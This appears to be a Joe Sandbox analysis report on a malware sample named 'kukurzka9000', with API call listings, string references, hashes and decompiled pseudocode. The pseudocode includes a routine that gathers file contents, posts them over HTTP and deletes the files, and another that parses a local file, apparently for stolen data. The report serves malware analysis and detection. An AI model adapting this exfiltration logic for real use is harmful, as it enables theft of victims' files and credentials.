LocalFree.KERNEL32(?), ref: 02544F5E
LocalFree.KERNEL32(?), ref: 02544F67
LocalFree.KERNEL32(?), ref: 02544F70
LocalFree.KERNEL32(?), ref: 02544F79
LocalFree.KERNEL32(?), ref: 02544F82
LocalFree.KERNEL32(?), ref: 02544F8B

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(?), ref: 02544FB4
LocalFree.KERNEL32(?), ref: 02544FBD
LocalFree.KERNEL32(?), ref: 02544FC6
LocalFree.KERNEL32(?), ref: 02544FCF
LocalFree.KERNEL32(?), ref: 02544FD8
LocalFree.KERNEL32(?), ref: 02544FE1
LocalFree.KERNEL32(?), ref: 02544FEA
LocalFree.KERNEL32(?), ref: 02544FF9
LocalFree.KERNEL32(?), ref: 02545002
LocalFree.KERNEL32(?), ref: 0254500B
LocalFree.KERNEL32(?), ref: 02545014
LocalFree.KERNEL32(?), ref: 0254501D
LocalFree.KERNEL32(?), ref: 02545024
LocalFree.KERNEL32(?), ref: 02545035
LocalFree.KERNEL32(?), ref: 0254503E
LocalFree.KERNEL32(?), ref: 02545047
LocalFree.KERNEL32(?), ref: 02545050
LocalFree.KERNEL32(?), ref: 02545059
LocalFree.KERNEL32(?), ref: 02545067
LocalFree.KERNEL32(?), ref: 02545070
LocalFree.KERNEL32(?), ref: 02545079
LocalFree.KERNEL32(?), ref: 0254508A
LocalFree.KERNEL32(?), ref: 02545093
LocalFree.KERNEL32(00000000), ref: 0254509A
LocalFree.KERNEL32(?), ref: 025450AB

Strings

pXqt, xrefs: 02544F20, 02544F29, 02544F32, 02544F39, 02544F43, 02544F4C, 02544F55, 02544F5E, 02544F67, 02544F70, 02544F79, 02544F82, 02544F8B, 02544FB4, 02544FBD, 02544FC6, 02544FCF, 02544FD8, 02544FE1, 02544FEA, 02544FF9, 02545002, 0254500B, 02545014, 0254501D, 02545024, 02545035, 0254503E, 02545047, 02545050, 02545059, 02545067, 02545070, 02545079, 0254508A, 02545093, 0254509A, 025450AB, 025450C2

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$Global
String ID: pXqt
API String ID: 67877634-1234763034
Opcode ID: 0f12c4ef2a00073fdc66328a61890da27d8bcc0520ef2ea85460475b67c8d6ed
Instruction ID: 5aeeada894beca2cad50b272982c596fe22c8ec8c2171f331ffc683148c60711
Opcode Fuzzy Hash: 0f12c4ef2a00073fdc66328a61890da27d8bcc0520ef2ea85460475b67c8d6ed
Instruction Fuzzy Hash: DFF1A372900125EFDB159BA6DE49EBEBB75FF48310F044924F905B72A0DB706D20CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00407EDB Relevance: 54.7, APIs: 26, Strings: 5, Instructions: 477
networkfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00407EDB(short* __ecx, void* __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				void* _v36;
				char _v40;
				void _v44;
				void _v48;
				void* _v52;
				void* _t109;
				void* _t112;
				signed int _t113;
				signed int _t115;
				void* _t119;
				void* _t121;
				void* _t123;
				void* _t124;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				char _t148;
				void* _t164;
				void* _t166;
				long _t168;
				long _t169;
				signed int _t174;
				void* _t178;
				void* _t179;
				void* _t180;
				void* _t182;
				void* _t183;
				void* _t186;
				void* _t187;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t191;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t215;
				void* _t216;
				void* _t217;
				void* _t218;
				void* _t220;
				void* _t223;
				void* _t224;
				intOrPtr _t226;
				intOrPtr* _t227;
				signed int _t229;
				void* _t282;
				intOrPtr _t285;
				intOrPtr _t286;
				intOrPtr _t288;
				intOrPtr _t293;
				intOrPtr _t294;
				intOrPtr _t296;
				intOrPtr _t297;
				intOrPtr _t300;
				intOrPtr _t301;
				intOrPtr _t302;
				intOrPtr _t303;
				intOrPtr* _t304;
				intOrPtr _t306;
				intOrPtr _t308;
				intOrPtr _t309;
				intOrPtr _t312;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr _t315;
				intOrPtr _t317;
				void* _t318;
				signed int _t319;
				void* _t320;
				void* _t321;
				void* _t323;
				void* _t326;
				signed short* _t328;
				void* _t329;
				intOrPtr* _t330;
				void* _t331;
				void* _t333;
				void** _t338;
				void* _t339;

				_v20 = __edx;
				_t327 = __ecx;
				_t224 =  *((intOrPtr*)( *0x40e044))(0x40, 0xc350);
				_v24 = _t224;
				_t318 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_v28 = _t318;
				if( *__ecx != 0x68) {
					L14:
					return 0;
				}
				_t109 = 0x74;
				if( *((intOrPtr*)(__ecx + 2)) != _t109 ||  *((intOrPtr*)(__ecx + 4)) != _t109 ||  *((short*)(__ecx + 6)) != 0x70) {
					goto L14;
				} else {
					_t7 = _t327 + 8; // 0x4589d0ff
					_v32 =  *_t7 & 0x0000ffff;
					_t112 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e3ec);
					_v16 = 0x2f;
					_t282 = 0;
					_t10 = _t112 + 6; // 0x6
					_t328 = _t10;
					_t113 =  *_t328 & 0x0000ffff;
					_t229 = _t113;
					if(_t113 == _v16) {
						L7:
						_t115 =  *((intOrPtr*)( *0x40e08c))(_t318);
						_t319 = _a4;
						_v52 =  &(_t328[_t115]);
						_t119 =  *((intOrPtr*)( *0x40e044))(0x40, _t319 << 0x15);
						_v8 = _t119;
						if(_t319 <= 0) {
							L11:
							_t121 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v8, 0xffffffff, 0, 0, 0, 0);
							_v16 = _t121;
							_t329 =  *((intOrPtr*)( *0x40e044))(0x40, _t319 << 0x14);
							_t123 =  *((intOrPtr*)( *0x40e044))(0x40, _t319 + _a12 << 0x14);
							_v12 = _t123;
							_t320 = _t123;
							_t124 = _v16;
							if(_t124 == 0) {
								L19:
								LocalFree(_v8);
								LocalFree(_t329);
								if(_a12 <= 0) {
									L32:
									_t128 =  *((intOrPtr*)( *0x40e044))(0x40, 0x100);
									_t285 =  *0x40e3dc; // 0x82a1f8
									_t129 = E0040A55D(_t128, _t285);
									_t286 =  *0x40e43c; // 0x82a208
									_t131 = E0040A55D(E0040A55D(_t129, _t286), _v20);
									_t288 =  *0x40e43c; // 0x82a208
									_t132 = E0040A55D(_t131, _t288);
									_t330 =  *0x40e004; // 0x74716940
									_v20 = _t132;
									_push( *((intOrPtr*)( *0x40e198))(_t132) + 1);
									_push(_v20);
									_push(_t320);
									if( *_t330() != 0) {
										_t320 = _t320 +  *((intOrPtr*)( *0x40e198))(_v20);
									}
									LocalFree(_v20);
									_v44 = 0x927c0;
									_v48 = 0x927c0;
									_t331 =  *((intOrPtr*)( *0x40e124))(L"rqwrwqrqwrqw", 0, 0, 0, 0);
									_v36 = _t331;
									InternetSetOptionW(_t331, 6,  &_v44, 4);
									InternetSetOptionW(_t331, 5,  &_v48, 4);
									if(_t331 == 0) {
										L45:
										_t333 = MultiByteToWideChar(0xfde9, 0, _t224,  *((intOrPtr*)( *0x40e198))(0) + 1, _t224, 0);
										_v52 = _t333;
										_t148 = _t333 + _t333;
										_v40 = _t148;
										_t321 =  *((intOrPtr*)( *0x40e044))(0x40, _t148);
										if(_t333 != 0) {
											MultiByteToWideChar(0xfde9, 0, _t224,  *((intOrPtr*)( *0x40e198))(_v52) + 1, _t224, _t321);
											 *((short*)(_v40 + _t321 - 2)) = 0;
										}
										if(_t321 != 0) {
											LocalFree(_t321);
										}
										LocalFree(_v28);
										LocalFree(_t224);
										LocalFree(_v12);
										return 1;
									} else {
										_t162 =  ==  ? 0x1bb : 0;
										_t163 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
										_t164 =  *((intOrPtr*)( *0x40e180))(_t331, _v28, ( ==  ? 0x1bb : 0) & 0x0000ffff, 0x73, 0x50, 0, 0, 3, 0, 1);
										_v20 = _t164;
										if(_t164 == 0) {
											L44:
											InternetCloseHandle(_t331);
											goto L45;
										}
										_v40 = 0xc00000;
										_t248 =  ==  ? _v40 : 0x400000;
										_t166 =  *((intOrPtr*)( *0x40e0b8))(_t164,  *0x40e25c, _v52, 0, 0, _a24,  ==  ? _v40 : 0x400000, 0x73, 1);
										_t224 = _v24;
										_v52 = _t166;
										if(_t166 == 0) {
											L43:
											InternetCloseHandle(_v20);
											goto L44;
										}
										_t168 = _v12;
										_t169 =  *((intOrPtr*)( *0x40e08c))(_t320 - _t168);
										_t323 = _v52;
										if(HttpSendRequestW(_t323, _a20, _t169, _a20, _t168) == 0) {
											L42:
											InternetCloseHandle(_t323);
											_t331 = _v36;
											goto L43;
										}
										while(1) {
											_push( &_v32);
											_push(0xc350);
											_push(_t224);
											_push(_t323);
											if( *((intOrPtr*)( *0x40e0fc))() == 0) {
												goto L42;
											}
											_t174 = _v32;
											if(_t174 == 0) {
												goto L42;
											}
											 *((char*)(_t224 + _t174)) = 0;
										}
										goto L42;
									}
								}
								_t226 = _a12;
								_t338 = _a16 + 4;
								do {
									_t178 =  *((intOrPtr*)( *0x40e14c))( *_t338, 0);
									_v36 = _t178;
									_t49 = _t178 + 0x400; // 0x400
									_t179 =  *((intOrPtr*)( *0x40e044))(0x40, _t49);
									_t293 =  *0x40e3dc; // 0x82a1f8
									_t180 = E0040A55D(_t179, _t293);
									_t294 =  *0x40e43c; // 0x82a208
									_t182 = E0040A55D(E0040A55D(_t180, _t294), _v20);
									_t296 =  *0x40e3dc; // 0x82a1f8
									_t183 = E0040A55D(_t182, _t296);
									_t297 =  *0x40e444; // 0x82b2c0
									_t186 = E0040A55D(E0040A55D(E0040A55D(_t183, _t297),  *(_t338 - 4)), "\"");
									_t300 =  *0x40e3dc; // 0x82a1f8
									_t187 = E0040A55D(_t186, _t300);
									_t301 =  *0x40e3f0; // 0x827448
									_t188 = E0040A55D(_t187, _t301);
									_t302 =  *0x40e3dc; // 0x82a1f8
									_t189 = E0040A55D(_t188, _t302);
									_t303 =  *0x40e3dc; // 0x82a1f8
									_t190 = E0040A55D(_t189, _t303);
									_v16 = _t190;
									_t191 =  *((intOrPtr*)( *0x40e198))(_t190);
									_t304 =  *0x40e004; // 0x74716940
									_v8 = _t191;
									_t54 = _t191 + 1; // 0x1
									_push(_v16);
									_push(_t320);
									if( *_t304() != 0) {
										_t320 = _t320 + _v8;
										if( *_t338 != 0) {
											_push(0);
											_push( &_v40);
											_push(_v36);
											_push(_t320);
											_push( *_t338);
											if( *((intOrPtr*)( *0x40e088))() != 0) {
												_t320 = _t320 + _v40;
											}
											CloseHandle( *_t338);
										}
									}
									if( *(_t338 - 4) != 0) {
										LocalFree( *(_t338 - 4));
									}
									if(_t338[1] != 0) {
										DeleteFileW(_t338[1]);
										LocalFree(_t338[1]);
									}
									LocalFree(_v16);
									_t338 =  &(_t338[4]);
									_t226 = _t226 - 1;
								} while (_t226 != 0);
								_t224 = _v24;
								goto L32;
							}
							_push(0);
							_push(0);
							_push(_t124);
							_push(_t329);
							_push(0xffffffff);
							_push(_v8);
							_push(0);
							_push(0xfde9);
							if( *((intOrPtr*)( *0x40e0e4))() != 0) {
								_push(_t329);
								if( *((intOrPtr*)( *0x40e198))() > 0) {
									_push(_v16);
									_push(_t329);
									_push(_v12);
									if( *((intOrPtr*)( *0x40e004))() != 0) {
										_t320 = _v16 - 1 + _v12;
									}
								}
								goto L19;
							}
							LocalFree(_v8);
							LocalFree(_t224);
							LocalFree(_t329);
							LocalFree(_v28);
							goto L14;
						} else {
							_t227 = _a8;
							_v16 = _t319;
							_t326 = _t119;
							do {
								_t209 = E0040A4C2(_v20);
								_t306 =  *0x40e3f8; // 0x837b08
								_t339 = _t209;
								_t211 = E0040A503(E0040A503(_t326, _t306), _t339);
								_t308 =  *0x40e350; // 0x837bc8
								_t212 = E0040A503(_t211, _t308);
								_t309 =  *0x40e340; // 0x7fefd8
								_t215 = E0040A503(E0040A503(E0040A503(_t212, _t309),  *_t227), "\"");
								_t312 =  *0x40e350; // 0x837bc8
								_t216 = E0040A503(_t215, _t312);
								_t313 =  *0x40e35c; // 0x83ab20
								_t217 = E0040A503(_t216, _t313);
								_t314 =  *0x40e350; // 0x837bc8
								_t218 = E0040A503(_t217, _t314);
								_t315 =  *0x40e350; // 0x837bc8
								_t220 = E0040A503(E0040A503(_t218, _t315),  *((intOrPtr*)(_t227 + 4)));
								_t317 =  *0x40e350; // 0x837bc8
								_t326 = E0040A503(_t220, _t317);
								LocalFree(_t339);
								_t25 =  &_v16;
								 *_t25 = _v16 - 1;
								_t227 = _t227 + 0xc;
							} while ( *_t25 != 0);
							_t224 = _v24;
							_v8 = _t326;
							_t319 = _a4;
							goto L11;
						}
					} else {
						_t223 = 0;
						do {
							_t282 = _t282 + 1;
							 *(_t223 + _t318) = _t229;
							_t223 = _t282 + _t282;
							_t229 =  *(_t223 + _t328) & 0x0000ffff;
						} while (_t229 != _v16);
						goto L7;
					}
				}
			}

0x00407ef0
0x00407ef3
0x00407efd
0x00407f06
0x00407f0f
0x00407f11
0x00407f14
0x004080f3
0x00000000
0x004080f3
0x00407f1c
0x00407f21
0x00000000
0x00407f3c
0x00407f3c
0x00407f46
0x00407f4f
0x00407f51
0x00407f58
0x00407f5a
0x00407f5a
0x00407f5d
0x00407f60
0x00407f66
0x00407f7c
0x00407f82
0x00407f84
0x00407f90
0x00407f9b
0x00407f9d
0x00407fa2
0x00408069
0x0040807f
0x0040808f
0x00408097
0x004080a8
0x004080aa
0x004080ad
0x004080af
0x004080b4
0x0040811f
0x00408122
0x00408129
0x00408133
0x00408275
0x00408281
0x00408283
0x0040828b
0x00408290
0x004082a2
0x004082a7
0x004082af
0x004082ba
0x004082c1
0x004082c7
0x004082c8
0x004082cb
0x004082d0
0x004082dc
0x004082dc
0x004082e1
0x004082f2
0x004082f5
0x00408304
0x0040830f
0x00408312
0x00408321
0x00408329
0x00408406
0x0040842a
0x0040842c
0x0040842f
0x00408435
0x0040843a
0x0040843e
0x0040845d
0x00408464
0x00408464
0x0040846b
0x0040846e
0x0040846e
0x00408477
0x0040847e
0x00408487
0x00000000
0x0040832f
0x0040834d
0x00408350
0x00408358
0x0040835a
0x0040835f
0x004083ff
0x00408400
0x00000000
0x00408400
0x00408379
0x00408380
0x00408396
0x00408398
0x0040839b
0x004083a0
0x004083f6
0x004083f9
0x00000000
0x004083f9
0x004083a2
0x004083b8
0x004083ba
0x004083c6
0x004083ec
0x004083ed
0x004083f3
0x00000000
0x004083f3
0x004083da
0x004083e2
0x004083e3
0x004083e4
0x004083e5
0x004083ea
0x00000000
0x00000000
0x004083cf
0x004083d4
0x00000000
0x00000000
0x004083d6
0x004083d6
0x00000000
0x004083da
0x00408329
0x0040813c
0x0040813f
0x00408142
0x0040814b
0x00408153
0x00408156
0x0040815f
0x00408161
0x00408169
0x0040816e
0x00408180
0x00408185
0x0040818d
0x00408192
0x004081b0
0x004081b5
0x004081bd
0x004081c2
0x004081ca
0x004081cf
0x004081d7
0x004081dc
0x004081e4
0x004081f0
0x004081f3
0x004081f5
0x004081fb
0x004081fe
0x00408202
0x00408205
0x0040820a
0x0040820c
0x00408212
0x0040821c
0x0040821e
0x0040821f
0x00408222
0x00408223
0x00408229
0x0040822b
0x0040822b
0x00408230
0x00408230
0x00408212
0x0040823a
0x0040823f
0x0040823f
0x00408249
0x0040824e
0x00408257
0x00408257
0x00408260
0x00408266
0x00408269
0x00408269
0x00408272
0x00000000
0x00408272
0x004080be
0x004080bf
0x004080c0
0x004080c1
0x004080c2
0x004080c4
0x004080c7
0x004080c8
0x004080d1
0x004080ff
0x00408104
0x00408106
0x0040810e
0x0040810f
0x00408116
0x0040811c
0x0040811c
0x00408116
0x00000000
0x00408104
0x004080d6
0x004080dd
0x004080e4
0x004080ed
0x00000000
0x00407fa8
0x00407fa8
0x00407fab
0x00407fae
0x00407fb0
0x00407fb3
0x00407fb8
0x00407fc0
0x00407fcb
0x00407fd0
0x00407fd8
0x00407fdd
0x00407ffa
0x00407fff
0x00408007
0x0040800c
0x00408014
0x00408019
0x00408021
0x00408026
0x00408038
0x0040803d
0x0040804b
0x0040804d
0x00408053
0x00408053
0x00408057
0x00408057
0x00408060
0x00408063
0x00408066
0x00000000
0x00408066
0x00407f68
0x00407f68
0x00407f6a
0x00407f6a
0x00407f6b
0x00407f6f
0x00407f72
0x00407f76
0x00000000
0x00407f6a
0x00407f66

APIs

LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 0040804D
LocalFree.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080D6
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080DD
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080E4
LocalFree.KERNEL32(00000001,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080ED
LocalFree.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00408122
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00408129
CloseHandle.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?), ref: 00408230
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040823F
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040824E
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 00408257
LocalFree.KERNEL32(0000002F,?,?,?,?,?,00409B89,00000001,?), ref: 00408260
lstrcpyn.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00409B89,00000001,?), ref: 004082CC
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 004082E1
InternetSetOptionW.WININET(00000000,00000006,?,00000004), ref: 00408312
InternetSetOptionW.WININET(00000000,00000005,?,00000004), ref: 00408321
HttpSendRequestW.WININET(?,00000001,00000000), ref: 004083C2
InternetCloseHandle.WININET(?), ref: 004083ED
InternetCloseHandle.WININET(00000000), ref: 004083F9
InternetCloseHandle.WININET(00000000), ref: 00408400
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001,?,?,?,?,?,00409B89,00000001,?), ref: 00408422
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001,?,?,?,?,?,00409B89,00000001,?), ref: 0040845D
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040846E
LocalFree.KERNEL32(00000001,?,?,?,?,?,00409B89,00000001,?), ref: 00408477
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040847E
LocalFree.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?), ref: 00408487

Strings

@iqt, xrefs: 004081F5, 004082BA
/, xrefs: 00407F51
pXqt, xrefs: 0040804D, 004080D6, 004080DD, 004080E4, 004080ED, 00408122, 00408129, 0040823F, 00408257, 00408260, 004082E1, 0040846E, 00408477, 0040847E, 00408487
pR"p, xrefs: 00408312, 00408321
rqwrwqrqwrqw, xrefs: 004082FD

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$Internet$CloseHandle$ByteCharMultiOptionWide$DeleteFileHttpRequestSendlstrcpyn
String ID: /$@iqt$pR"p$pXqt$rqwrwqrqwrqw
API String ID: 295309298-1946164752
Opcode ID: cc2c2d685f84a46da143ceb1b72dd46e7f22fcb3915adf77100fbecd680e3ecb
Instruction ID: 6c99c45f28bfee67641de8d5d70fad00062f969ed25daf8f75b78222567e1072
Opcode Fuzzy Hash: cc2c2d685f84a46da143ceb1b72dd46e7f22fcb3915adf77100fbecd680e3ecb
Instruction Fuzzy Hash: 84029F71A00215AFDF04EFB6DE45E6E77B5FB88300F008839E915B7290DB78AD118B68

Uniqueness

Uniqueness Score: -1.00%

Function 0254744F Relevance: 44.2, APIs: 22, Strings: 3, Instructions: 477
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 025475C1
LocalFree.KERNEL32(?,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 0254764A
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 02547651
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 02547658
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 02547661
LocalFree.KERNEL32(?,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 02547696
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000,00000000), ref: 0254769D
CloseHandle.KERNEL32(-00000004,?,?,?,?,?,02541C89,00000000,00000000), ref: 025477A4
LocalFree.KERNEL32(?,?,?,?,?,?,02541C89,00000000,00000000), ref: 025477B3
DeleteFileW.KERNEL32(?,?,?,?,?,?,02541C89,00000000,00000000), ref: 025477C2
LocalFree.KERNEL32(?,?,?,?,?,?,02541C89,00000000,00000000), ref: 025477CB
LocalFree.KERNEL32(0000002F,?,?,?,?,?,02541C89,00000000,00000000), ref: 025477D4
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000), ref: 02547855
InternetSetOptionW.WININET(00000000,00000006,?,00000004), ref: 02547886
InternetSetOptionW.WININET(00000000,00000005,?,00000004), ref: 02547895
InternetCloseHandle.WININET(?), ref: 02547961
InternetCloseHandle.WININET(00000000), ref: 0254796D
InternetCloseHandle.WININET(00000000), ref: 02547974
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000), ref: 025479E2
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000), ref: 025479EB
LocalFree.KERNEL32(00000000,?,?,?,?,?,02541C89,00000000,00000000), ref: 025479F2
LocalFree.KERNEL32(00000001,?,?,?,?,?,02541C89,00000000,00000000), ref: 025479FB

Strings

@iqt, xrefs: 0254767D, 02547769, 0254782E
/, xrefs: 025474C5
pXqt, xrefs: 025475C1, 0254764A, 02547651, 02547658, 02547661, 02547696, 0254769D, 025477B3, 025477CB, 025477D4, 02547855, 025479E2, 025479EB, 025479F2, 025479FB

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$Internet$CloseHandle$Option$DeleteFile
String ID: /$@iqt$pXqt
API String ID: 3877996606-2941447754
Opcode ID: 44b8c5c6b5931157c93208281ed44bf5aaa786017533818b3ea69a1034d7864d
Instruction ID: 00b1b1f7cf2fb7032042ecf684f971c1a62342157681ef0b8594910a5e25aca1
Opcode Fuzzy Hash: 44b8c5c6b5931157c93208281ed44bf5aaa786017533818b3ea69a1034d7864d
Instruction Fuzzy Hash: 1C029471A00215AFDB04DFB6DD45E7EBBB6FB88304F104929E905B72A0DB74AD11CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00406D26 Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 419
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00406D26(intOrPtr* __ecx, intOrPtr* __edx, intOrPtr _a4, char* _a8) {
				intOrPtr _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				intOrPtr _v64;
				void* _v68;
				void* _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				intOrPtr* _v88;
				void* _v92;
				intOrPtr _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				void* _t110;
				void* _t111;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t132;
				intOrPtr* _t133;
				void* _t140;
				void* _t142;
				char* _t144;
				void* _t146;
				void* _t147;
				void* _t160;
				int _t163;
				void* _t165;
				signed int _t167;
				void* _t190;
				void* _t191;
				void* _t196;
				void* _t209;
				void* _t210;
				signed int _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				void* _t228;
				void* _t240;
				signed int _t241;
				void* _t264;
				intOrPtr _t265;
				void* _t267;
				void* _t270;
				void* _t271;
				intOrPtr _t273;
				intOrPtr* _t276;
				void* _t278;

				_v88 = __edx;
				_v84 = __ecx;
				if(_a8 == 0) {
					L50:
					return 0;
				}
				_t104 =  *0x40e38c; // 0x839698
				_v76 = _v76 & 0x00000000;
				_v48 = _t104;
				_t105 =  *0x40e380; // 0x8396c8
				_v80 = _t105;
				_t106 =  *0x40e2cc; // 0x837748
				_v52 = _t106;
				_t107 =  *0x40e320; // 0x837868
				_v56 = _t107;
				_t108 =  *0x40e384; // 0x839710
				_v64 = _t108;
				_t110 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t111 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_v36 = _t111;
				_t264 =  *((intOrPtr*)( *0x40e000))(_t110, _a4,  *0x40e300);
				_v68 = _t264;
				_t113 = E0040A69E( *0x40e000,  &_v36);
				_t209 = _v36;
				if(_t113 == 0) {
					L48:
					LocalFree(_t264);
					DeleteFileW(_t209);
					LocalFree(_t209);
					L49:
					goto L50;
				}
				_push(0);
				_push(_t209);
				_push(_t264);
				if( *((intOrPtr*)( *0x40e184))() == 0) {
					goto L48;
				}
				_t119 =  *((intOrPtr*)( *0x40e03c))(_t209, 0x80000000, 1, 0, 3, 0, 0);
				_v72 = _t119;
				_t270 =  *((intOrPtr*)( *0x40e14c))(_t119, 0);
				_t121 =  *((intOrPtr*)( *0x40e044))(0x40, _t270);
				_push(0);
				_push( &_v76);
				_t18 = _t270 - 1; // -1
				_v44 = _t121;
				_push(_t121);
				_push(_v72);
				if( *((intOrPtr*)( *0x40e088))() == 0) {
					L43:
					LocalFree(_v44);
					CloseHandle(_v72);
					DeleteFileW(_t209);
					if(_t264 != 0) {
						LocalFree(_t264);
					}
					if(_t209 != 0) {
						LocalFree(_t209);
					}
					return 1;
				}
				_t271 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
				_t22 = _t271 + 0x40; // 0x40
				_t132 =  *((intOrPtr*)( *0x40e044))(0x40, _t22);
				_v40 = _t132;
				if(_t271 == 0) {
					L7:
					_push(_v40);
					_t133 =  *0x40e490; // 0x0
					if( *_t133() != 0) {
						L42:
						 *0x40e4a8();
						LocalFree(_v40);
						goto L43;
					}
					_t228 = _v44;
					_t265 = _t228;
					_push(_t228);
					_v32 = _t265;
					_t273 = 1;
					if( *((intOrPtr*)( *0x40e198))() <= 0x200) {
						L41:
						_t264 = _v68;
						goto L42;
					}
					while(_t273 != 0) {
						_v60 = _v60 & 0x00000000;
						_t140 =  *((intOrPtr*)( *0x40e00c))(_t265, _v48);
						_v20 = _v20 | 0xffffffff;
						_t210 = _t140;
						_v16 = _v16 | 0xffffffff;
						if(_t210 == 0) {
							break;
						}
						_t211 = _t210 - _t265;
						if(_t210 - _t265 < 0) {
							break;
						}
						_t142 =  *((intOrPtr*)( *0x40e00c))(_t265, _v80);
						if(_t142 == 0) {
							_t273 = 0;
						} else {
							_v20 = _t142 - _t265;
						}
						_v8 = _t273;
						_t144 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
						_a8 = _t144;
						_t146 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
						_v24 = _t146;
						_t147 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
						_push(_v20);
						_v28 = _t147;
						if(E0040A457(_t265,  &_a8,  *((intOrPtr*)( *0x40e198))() + _t211, _v48) == 0) {
							L38:
							LocalFree(_a8);
							LocalFree(_v24);
							LocalFree(_v28);
							_t212 = _v16;
							if(_t212 < 0) {
								break;
							}
							_t265 = _t265 +  *((intOrPtr*)( *0x40e198))(_v64) + _t212;
							_push(_t265);
							_v32 = _t265;
							if( *((intOrPtr*)( *0x40e198))() > 0x200) {
								continue;
							}
							break;
						} else {
							_t160 =  *((intOrPtr*)( *0x40e044))(0x40, 0x1000);
							_v12 = _t160;
							_t163 = MultiByteToWideChar(0xfde9, 0, _a8,  *((intOrPtr*)( *0x40e198))(_a8) + 1, 0, 0);
							_v20 = _t163;
							if(_t163 != 0) {
								_t267 = _t163 + _t163;
								_t196 =  *((intOrPtr*)( *0x40e044))(0x40, _t267);
								_t216 = _t196;
								MultiByteToWideChar(0xfde9, 0, _a8,  *((intOrPtr*)( *0x40e198))(_a8) + 1, _t216, _v20);
								 *((short*)(_t267 + _t216 - 2)) = 0;
								_v12 =  *((intOrPtr*)( *0x40e13c))(_v12, _t216);
								LocalFree(_t216);
								_t265 = _v32;
